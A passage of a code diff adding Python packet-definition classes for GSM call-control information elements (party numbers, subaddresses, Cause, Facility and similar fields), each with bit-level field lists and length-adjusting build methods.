+            p = struct.pack(">B", len(p)-1) + p[1:]
+        return p + pay
+
+
+class CallControlCapabilities(Packet):
+    """Call Control Capabilities Section 10.5.4.5a"""
+    name = "Call Control Capabilities"
+    fields_desc = [
+             XByteField("lengthCCC", 0x3),
+             BitField("spare", 0x0, 6),
+             BitField("pcp", 0x0, 1),
+             BitField("dtmf", 0x0, 1)
+             ]
+
+
+class CallState(Packet):
+    """Call State Section 10.5.4.6"""
+    name = "Call State"
+    fields_desc = [
+             BitField("codingStd", 0x0, 2),
+             BitField("stateValue", 0x0, 6)
+             ]
+
+
+# len 3 to 43
+class CalledPartyBcdNumber(Packet):
+    """Called party BCD number Section 10.5.4.7"""
+    name = "Called Party BCD Number"
+    fields_desc = [
+             XByteField("lengthCPBN", None),
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("nbPlanId", 0x0, 4),
+             # optional
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4),
+
+             BitField("nbDigit22", None, 4),
+             BitField("nbDigit21", None, 4),
+             BitField("nbDigit24", None, 4),
+             BitField("nbDigit23", None, 4),
+
+             BitField("nbDigit26", None, 4),
+             BitField("nbDigit25", None, 4),
+             BitField("nbDigit28", None, 4),
+             BitField("nbDigit27", None, 4),
+
+             BitField("nbDigit30", None, 4),
+             BitField("nbDigit29", None, 4),
+             BitField("nbDigit32", None, 4),
+             BitField("nbDigit31", None, 4),
+
+             BitField("nbDigit34", None, 4),
+             BitField("nbDigit33", None, 4),
+             BitField("nbDigit36", None, 4),
+             BitField("nbDigit35", None, 4),
+
+             BitField("nbDigit38", None, 4),
+             BitField("nbDigit37", None, 4),
+             BitField("nbDigit40", None, 4),
+             BitField("nbDigit39", None, 4),
+# ^^^^^^ 20 first optional bytes ^^^^^^^^^^^^^^^
+             BitField("nbDigit42", None, 4),
+             BitField("nbDigit41", None, 4),
+             BitField("nbDigit44", None, 4),
+             BitField("nbDigit43", None, 4),
+
+             BitField("nbDigit46", None, 4),
+             BitField("nbDigit45", None, 4),
+             BitField("nbDigit48", None, 4),
+             BitField("nbDigit47", None, 4),
+
+             BitField("nbDigit50", None, 4),
+             BitField("nbDigit49", None, 4),
+             BitField("nbDigit52", None, 4),
+             BitField("nbDigit51", None, 4),
+
+             BitField("nbDigit54", None, 4),
+             BitField("nbDigit53", None, 4),
+             BitField("nbDigit56", None, 4),
+             BitField("nbDigit55", None, 4),
+
+             BitField("nbDigit58", None, 4),
+             BitField("nbDigit57", None, 4),
+             BitField("nbDigit60", None, 4),
+             BitField("nbDigit59", None, 4),
+
+             BitField("nbDigit62", None, 4),
+             BitField("nbDigit61", None, 4),
+             BitField("nbDigit64", None, 4),
+             BitField("nbDigit63", None, 4),
+
+             BitField("nbDigit66", None, 4),
+             BitField("nbDigit65", None, 4),
+             BitField("nbDigit68", None, 4),
+             BitField("nbDigit67", None, 4),
+
+             BitField("nbDigit70", None, 4),
+             BitField("nbDigit69", None, 4),
+             BitField("nbDigit72", None, 4),
+             BitField("nbDigit71", None, 4),
+
+             BitField("nbDigit74", None, 4),
+             BitField("nbDigit73", None, 4),
+             BitField("nbDigit76", None, 4),
+             BitField("nbDigit75", None, 4),
+
+             BitField("nbDigit78", None, 4),
+             BitField("nbDigit77", None, 4),
+             BitField("nbDigit80", None, 4),
+             BitField("nbDigit79", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 42, a, self.fields_desc, 1)
+        if self.lengthCPBN is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 2 to 23
+class CalledPartySubaddress(Packet):
+    """Called party subaddress Section 10.5.4.8"""
+    name = "Called Party Subaddress"
+    fields_desc = [
+             XByteField("lengthCPS", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("subAddr", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 23, a, self.fields_desc, 1)
+        if self.lengthCPS is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 3 to 14
+class CallingPartyBcdNumber(Packet):
+    """Called party subaddress Section 10.5.4.9"""
+    name = "Called Party Subaddress"
+    fields_desc = [
+             XByteField("lengthCPBN", None),
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("nbPlanId", 0x0, 4),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                             lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("presId", None, 2),
+                             lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("spare", None, 3),
+                             lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("screenId", 0x0, 2),
+                             lambda pkt: pkt.ext == 0),
+
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 13, a, self.fields_desc, 1)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthCPBN is None:
+            p = struct.pack(">B", len(p)-1) + p[1:]
+        return p + pay
+
+
+# len 2 to 23
+class CallingPartySubaddress(Packet):
+    """Calling party subaddress  Section 10.5.4.10"""
+    name = "Calling Party Subaddress"
+    fields_desc = [
+             XByteField("lengthCPS", None),
+             # optional
+             BitField("ext1", None, 1),
+             BitField("typeAddr", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 22, a, self.fields_desc, 1)
+        if self.lengthCPS is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 4 to 32
+class Cause(Packet):
+    """Cause Section 10.5.4.11"""
+    name = "Cause"
+    fields_desc = [
+
+             XByteField("lengthC", None),
+
+             BitField("ext", 0x1, 1),
+             BitField("codingStd", 0x0, 2),
+             BitField("spare", 0x0, 1),
+             BitField("location", 0x0, 4),
+
+             ConditionalField(BitField("ext1", 0x1, 1),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("recommendation", 0x1, 7),
+                              lambda pkt: pkt.ext == 0),
+             # optional
+             BitField("ext2", None, 1),
+             BitField("causeValue", None, 7),
+
+             ByteField("diagnositc0", None),
+             ByteField("diagnositc1", None),
+             ByteField("diagnositc2", None),
+             ByteField("diagnositc3", None),
+             ByteField("diagnositc4", None),
+             ByteField("diagnositc5", None),
+             ByteField("diagnositc6", None),
+             ByteField("diagnositc7", None),
+             ByteField("diagnositc8", None),
+             ByteField("diagnositc9", None),
+             ByteField("diagnositc10", None),
+             ByteField("diagnositc11", None),
+             ByteField("diagnositc12", None),
+             ByteField("diagnositc13", None),
+             ByteField("diagnositc14", None),
+             ByteField("diagnositc15", None),
+             ByteField("diagnositc16", None),
+             ByteField("diagnositc17", None),
+             ByteField("diagnositc18", None),
+             ByteField("diagnositc19", None),
+             ByteField("diagnositc20", None),
+             ByteField("diagnositc21", None),
+             ByteField("diagnositc22", None),
+             ByteField("diagnositc23", None),
+             ByteField("diagnositc24", None),
+             ByteField("diagnositc25", None),
+             ByteField("diagnositc26", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 31, a, self.fields_desc, 1)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthC is None:
+            p = struct.pack(">B", len(p)-1) + p[1:]
+        return p + pay
+
+
+class ClirSuppression(Packet):
+    """CLIR suppression Section 10.5.4.11a"""
+    name = "Clir Suppression"
+    fields_desc = [
+             ]
+
+
+class ClirInvocation(Packet):
+    """CLIR invocation Section 10.5.4.11b"""
+    name = "Clir Invocation"
+    fields_desc = [
+             ]
+
+
+class CongestionLevel(Packet):
+    """Congestion level Section 10.5.4.12"""
+    name = "Congestion Level"
+    fields_desc = [
+             BitField("notDef", 0x0, 4)  # not defined by the std
+             ]
+
+
+# len 3 to 14
+class ConnectedNumber(Packet):
+    """Connected number Section 10.5.4.13"""
+    name = "Connected Number"
+    fields_desc = [
+
+             XByteField("lengthCN", None),
+
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("typePlanId", 0x0, 4),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("presId", None, 2),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("spare", None, 3),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("screenId", None, 2),
+                              lambda pkt: pkt.ext == 0),
+
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 13, a, self.fields_desc, 1)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthCN is None:
+            p = struct.pack(">B", len(p)-1) + p[1:]
+        return p + pay
+
+
+# len 2 to 23
+class ConnectedSubaddress(Packet):
+    """Connected subaddress Section 10.5.4.14"""
+    name = "Connected Subaddress"
+    fields_desc = [
+
+             XByteField("lengthCS", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("typeOfSub", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 22, a, self.fields_desc, 1)
+        if self.lengthCS is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 2 to L3 (251) (done)
+class Facility(Packet):
+    """Facility Section 10.5.4.15"""
+    name = "Facility"
+    fields_desc = [
+             XByteField("lengthF", None),
+             # optional
+             ByteField("facilityInfo1", None),
+             ByteField("facilityInfo2", None),
+             ByteField("facilityInfo3", None),
+             ByteField("facilityInfo4", None),
+             ByteField("facilityInfo5", None),
+             ByteField("facilityInfo6", None),
+             ByteField("facilityInfo7", None),
+             ByteField("facilityInfo8", None),
+             ByteField("facilityInfo9", None),
+             ByteField("facilityInfo10", None),
+             ByteField("facilityInfo11", None),
+             ByteField("facilityInfo12", None),
+             ByteField("facilityInfo13", None),
+             ByteField("facilityInfo14", None),
+             ByteField("facilityInfo15", None),
+             ByteField("facilityInfo16", None),
+             ByteField("facilityInfo17", None),
+             ByteField("facilityInfo18", None),
+             ByteField("facilityInfo19", None),
+             ByteField("facilityInfo20", None),
+             ByteField("facilityInfo21", None),
+             ByteField("facilityInfo22", None),
+             ByteField("facilityInfo23", None),
+             ByteField("facilityInfo24", None),
+             ByteField("facilityInfo25", None),
+             ByteField("facilityInfo26", None),
+             ByteField("facilityInfo27", None),
+             ByteField("facilityInfo28", None),
+             ByteField("facilityInfo29", None),
+             ByteField("facilityInfo30", None),
+             ByteField("facilityInfo31", None),
+             ByteField("facilityInfo32", None),
+             ByteField("facilityInfo33", None),
+             ByteField("facilityInfo34", None),
+             ByteField("facilityInfo35", None),
+             ByteField("facilityInfo36", None),
+             ByteField("facilityInfo37", None),
+             ByteField("facilityInfo38", None),
+             ByteField("facilityInfo39", None),
+             ByteField("facilityInfo40", None),
+             ByteField("facilityInfo41", None),
+             ByteField("facilityInfo42", None),
+             ByteField("facilityInfo43", None),
+             ByteField("facilityInfo44", None),
+             ByteField("facilityInfo45", None),
+             ByteField("facilityInfo46", None),
+             ByteField("facilityInfo47", None),
+             ByteField("facilityInfo48", None),
+             ByteField("facilityInfo49", None),
+             ByteField("facilityInfo50", None),
+             ByteField("facilityInfo51", None),
+             ByteField("facilityInfo52", None),
+             ByteField("facilityInfo53", None),
+             ByteField("facilityInfo54", None),
+             ByteField("facilityInfo55", None),
+             ByteField("facilityInfo56", None),
+             ByteField("facilityInfo57", None),
+             ByteField("facilityInfo58", None),
+             ByteField("facilityInfo59", None),
+             ByteField("facilityInfo60", None),
+             ByteField("facilityInfo61", None),
+             ByteField("facilityInfo62", None),
+             ByteField("facilityInfo63", None),
+             ByteField("facilityInfo64", None),
+             ByteField("facilityInfo65", None),
+             ByteField("facilityInfo66", None),
+             ByteField("facilityInfo67", None),
+             ByteField("facilityInfo68", None),
+             ByteField("facilityInfo69", None),
+             ByteField("facilityInfo70", None),
+             ByteField("facilityInfo71", None),
+             ByteField("facilityInfo72", None),
+             ByteField("facilityInfo73", None),
+             ByteField("facilityInfo74", None),
+             ByteField("facilityInfo75", None),
+             ByteField("facilityInfo76", None),
+             ByteField("facilityInfo77", None),
+             ByteField("facilityInfo78", None),
+             ByteField("facilityInfo79", None),
+             ByteField("facilityInfo80", None),
+             ByteField("facilityInfo81", None),
+             ByteField("facilityInfo82", None),
+             ByteField("facilityInfo83", None),
+             ByteField("facilityInfo84", None),
+             ByteField("facilityInfo85", None),
+             ByteField("facilityInfo86", None),
+             ByteField("facilityInfo87", None),
+             ByteField("facilityInfo88", None),
+             ByteField("facilityInfo89", None),
+             ByteField("facilityInfo90", None),
+             ByteField("facilityInfo91", None),
+             ByteField("facilityInfo92", None),
+             ByteField("facilityInfo93", None),
+             ByteField("facilityInfo94", None),
+             ByteField("facilityInfo95", None),
+             ByteField("facilityInfo96", None),
+             ByteField("facilityInfo97", None),
+             ByteField("facilityInfo98", None),
+             ByteField("facilityInfo99", None),
+             ByteField("facilityInfo100", None),
+             ByteField("facilityInfo101", None),
+             ByteField("facilityInfo102", None),
+             ByteField("facilityInfo103", None),
+             ByteField("facilityInfo104", None),
+             ByteField("facilityInfo105", None),
+             ByteField("facilityInfo106", None),
+             ByteField("facilityInfo107", None),
+             ByteField("facilityInfo108", None),
+             ByteField("facilityInfo109", None),
+             ByteField("facilityInfo110", None),
+             ByteField("facilityInfo111", None),
+             ByteField("facilityInfo112", None),
+             ByteField("facilityInfo113", None),
+             ByteField("facilityInfo114", None),
+             ByteField("facilityInfo115", None),
+             ByteField("facilityInfo116", None),
+             ByteField("facilityInfo117", None),
+             ByteField("facilityInfo118", None),
+             ByteField("facilityInfo119", None),
+             ByteField("facilityInfo120", None),
+             ByteField("facilityInfo121", None),
+             ByteField("facilityInfo122", None),
+             ByteField("facilityInfo123", None),
+             ByteField("facilityInfo124", None),
+             ByteField("facilityInfo125", None),
+             ByteField("facilityInfo126", None),
+             ByteField("facilityInfo127", None),
+             ByteField("facilityInfo128", None),
+             ByteField("facilityInfo129", None),
+             ByteField("facilityInfo130", None),
+             ByteField("facilityInfo131", None),
+             ByteField("facilityInfo132", None),
+             ByteField("facilityInfo133", None),
+             ByteField("facilityInfo134", None),
+             ByteField("facilityInfo135", None),
+             ByteField("facilityInfo136", None),
+             ByteField("facilityInfo137", None),
+             ByteField("facilityInfo138", None),
+             ByteField("facilityInfo139", None),
+             ByteField("facilityInfo140", None),
+             ByteField("facilityInfo141", None),
+             ByteField("facilityInfo142", None),
+             ByteField("facilityInfo143", None),
+             ByteField("facilityInfo144", None),
+             ByteField("facilityInfo145", None),
+             ByteField("facilityInfo146", None),
+             ByteField("facilityInfo147", None),
+             ByteField("facilityInfo148", None),
+             ByteField("facilityInfo149", None),
+             ByteField("facilityInfo150", None),
+             ByteField("facilityInfo151", None),
+             ByteField("facilityInfo152", None),
+             ByteField("facilityInfo153", None),
+             ByteField("facilityInfo154", None),
+             ByteField("facilityInfo155", None),
+             ByteField("facilityInfo156", None),
+             ByteField("facilityInfo157", None),
+             ByteField("facilityInfo158", None),
+             ByteField("facilityInfo159", None),
+             ByteField("facilityInfo160", None),
+             ByteField("facilityInfo161", None),
+             ByteField("facilityInfo162", None),
+             ByteField("facilityInfo163", None),
+             ByteField("facilityInfo164", None),
+             ByteField("facilityInfo165", None),
+             ByteField("facilityInfo166", None),
+             ByteField("facilityInfo167", None),
+             ByteField("facilityInfo168", None),
+             ByteField("facilityInfo169", None),
+             ByteField("facilityInfo170", None),
+             ByteField("facilityInfo171", None),
+             ByteField("facilityInfo172", None),
+             ByteField("facilityInfo173", None),
+             ByteField("facilityInfo174", None),
+             ByteField("facilityInfo175", None),
+             ByteField("facilityInfo176", None),
+             ByteField("facilityInfo177", None),
+             ByteField("facilityInfo178", None),
+             ByteField("facilityInfo179", None),
+             ByteField("facilityInfo180", None),
+             ByteField("facilityInfo181", None),
+             ByteField("facilityInfo182", None),
+             ByteField("facilityInfo183", None),
+             ByteField("facilityInfo184", None),
+             ByteField("facilityInfo185", None),
+             ByteField("facilityInfo186", None),
+             ByteField("facilityInfo187", None),
+             ByteField("facilityInfo188", None),
+             ByteField("facilityInfo189", None),
+             ByteField("facilityInfo190", None),
+             ByteField("facilityInfo191", None),
+             ByteField("facilityInfo192", None),
+             ByteField("facilityInfo193", None),
+             ByteField("facilityInfo194", None),
+             ByteField("facilityInfo195", None),
+             ByteField("facilityInfo196", None),
+             ByteField("facilityInfo197", None),
+             ByteField("facilityInfo198", None),
+             ByteField("facilityInfo199", None),
+             ByteField("facilityInfo200", None),
+             ByteField("facilityInfo201", None),
+             ByteField("facilityInfo202", None),
+             ByteField("facilityInfo203", None),
+             ByteField("facilityInfo204", None),
+             ByteField("facilityInfo205", None),
+             ByteField("facilityInfo206", None),
+             ByteField("facilityInfo207", None),
+             ByteField("facilityInfo208", None),
+             ByteField("facilityInfo209", None),
+             ByteField("facilityInfo210", None),
+             ByteField("facilityInfo211", None),
+             ByteField("facilityInfo212", None),
+             ByteField("facilityInfo213", None),
+             ByteField("facilityInfo214", None),
+             ByteField("facilityInfo215", None),
+             ByteField("facilityInfo216", None),
+             ByteField("facilityInfo217", None),
+             ByteField("facilityInfo218", None),
+             ByteField("facilityInfo219", None),
+             ByteField("facilityInfo220", None),
+             ByteField("facilityInfo221", None),
+             ByteField("facilityInfo222", None),
+             ByteField("facilityInfo223", None),
+             ByteField("facilityInfo224", None),
+             ByteField("facilityInfo225", None),
+             ByteField("facilityInfo226", None),
+             ByteField("facilityInfo227", None),
+             ByteField("facilityInfo228", None),
+             ByteField("facilityInfo229", None),
+             ByteField("facilityInfo230", None),
+             ByteField("facilityInfo231", None),
+             ByteField("facilityInfo232", None),
+             ByteField("facilityInfo233", None),
+             ByteField("facilityInfo234", None),
+             ByteField("facilityInfo235", None),
+             ByteField("facilityInfo236", None),
+             ByteField("facilityInfo237", None),
+             ByteField("facilityInfo238", None),
+             ByteField("facilityInfo239", None),
+             ByteField("facilityInfo240", None),
+             ByteField("facilityInfo241", None),
+             ByteField("facilityInfo242", None),
+             ByteField("facilityInfo243", None),
+             ByteField("facilityInfo244", None),
+             ByteField("facilityInfo245", None),
+             ByteField("facilityInfo246", None),
+             ByteField("facilityInfo247", None),
+             ByteField("facilityInfo248", None),
+             ByteField("facilityInfo249", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(7, 250, a, self.fields_desc, 1)
+        if self.lengthF is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+#len 2 to 5
+class HighLayerCompatibility(Packet):
+    """High layer compatibility Section 10.5.4.16"""
+    name = "High Layer Compatibility"
+    fields_desc = [
+
+             XByteField("lengthHLC", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("codingStd", None, 2),
+             BitField("interpret", None, 3),
+             BitField("presMeth", None, 2),
+
+             BitField("ext1", None, 1),
+             BitField("highLayerId", None, 7),
+
+             ConditionalField(BitField("ext2", 0x1, 1),
+                              lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("exHiLayerId", 0x0, 7),
+                              lambda pkt: pkt.ext1 == 0),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 4, a, self.fields_desc, 1)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthHLC is None:
+            p = struct.pack(">B", len(p)-1) + p[1:]
+        return p + pay
+#
+# 10.5.4.16.1           Static conditions for the high layer
+# compatibility IE contents 
+#
+
+
+class KeypadFacility(Packet):
+    """Keypad facility Section 10.5.4.17"""
+    name = "Keypad Facility"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("keyPadInfo", 0x0, 7)
+             ]
+
+
+# len 2 to 15
+class LowLayerCompatibility(Packet):
+    """Low layer compatibility Section 10.5.4.18"""
+    name = "Low Layer Compatibility"
+    fields_desc = [
+
+             XByteField("lengthLLC", None),
+             # optional
+             ByteField("rest0", None),
+             ByteField("rest1", None),
+             ByteField("rest2", None),
+             ByteField("rest3", None),
+             ByteField("rest4", None),
+             ByteField("rest5", None),
+             ByteField("rest6", None),
+             ByteField("rest7", None),
+             ByteField("rest8", None),
+             ByteField("rest9", None),
+             ByteField("rest10", None),
+             ByteField("rest11", None),
+             ByteField("rest12", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 14, a, self.fields_desc, 1)
+        if self.lengthLLC is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class MoreData(Packet):
+    """More data Section 10.5.4.19"""
+    name = "More Data"
+    fields_desc = [
+             ]
+
+
+class NotificationIndicator(Packet):
+    """Notification indicator Section 10.5.4.20"""
+    name = "Notification Indicator"
+    fields_desc = [
+             BitField("ext1", 0x1, 1),
+             BitField("notifDesc", 0x0, 7)
+             ]
+
+
+class ProgressIndicator(Packet):
+    """Progress indicator Section 10.5.4.21"""
+    name = "Progress Indicator"
+    fields_desc = [
+             XByteField("lengthPI", 0x2),
+             BitField("ext", 0x1, 1),
+             BitField("codingStd", 0x0, 2),
+             BitField("spare", 0x0, 1),
+             BitField("location", 0x0, 4),
+             BitField("ext1", 0x1, 1),
+             BitField("progressDesc", 0x0, 7)
+             ]
+
+
+class RecallType(Packet):
+    """Recall type $(CCBS)$  Section 10.5.4.21a"""
+    name = "Recall Type $(CCBS)$"
+    fields_desc = [
+             BitField("spare", 0x0, 5),
+             BitField("recallType", 0x0, 3)
+             ]
+
+
+# len 3 to 19
+class RedirectingPartyBcdNumber(Packet):
+    """Redirecting party BCD number  Section 10.5.4.21b"""
+    name = "Redirecting Party BCD Number"
+    fields_desc = [
+
+             XByteField("lengthRPBN", None),
+
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("numberingPlan", 0x0, 4),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                                       lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("presId", 0x0, 2),
+                                       lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("spare", 0x0, 3),
+                                       lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("screenId", 0x0, 2),
+                                       lambda pkt: pkt.ext == 0),
+
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4),
+
+             BitField("nbDigit22", None, 4),
+             BitField("nbDigit21", None, 4),
+
+             BitField("nbDigit24", None, 4),
+             BitField("nbDigit23", None, 4),
+
+             BitField("nbDigit26", None, 4),
+             BitField("nbDigit25", None, 4),
+
+             BitField("nbDigit28", None, 4),
+             BitField("nbDigit27", None, 4),
+
+             BitField("nbDigit30", None, 4),
+             BitField("nbDigit29", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 18, a, self.fields_desc, 1)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthRPBN is None:
+            p = struct.pack(">B", len(p)-1) + p[1:]
+        return p + pay
+
+
+# length 2 to 23
+class RedirectingPartySubaddress(Packet):
+    """Redirecting party subaddress  Section 10.5.4.21c"""
+    name = "Redirecting Party BCD Number"
+    fields_desc = [
+
+             XByteField("lengthRPS", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("typeSub", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
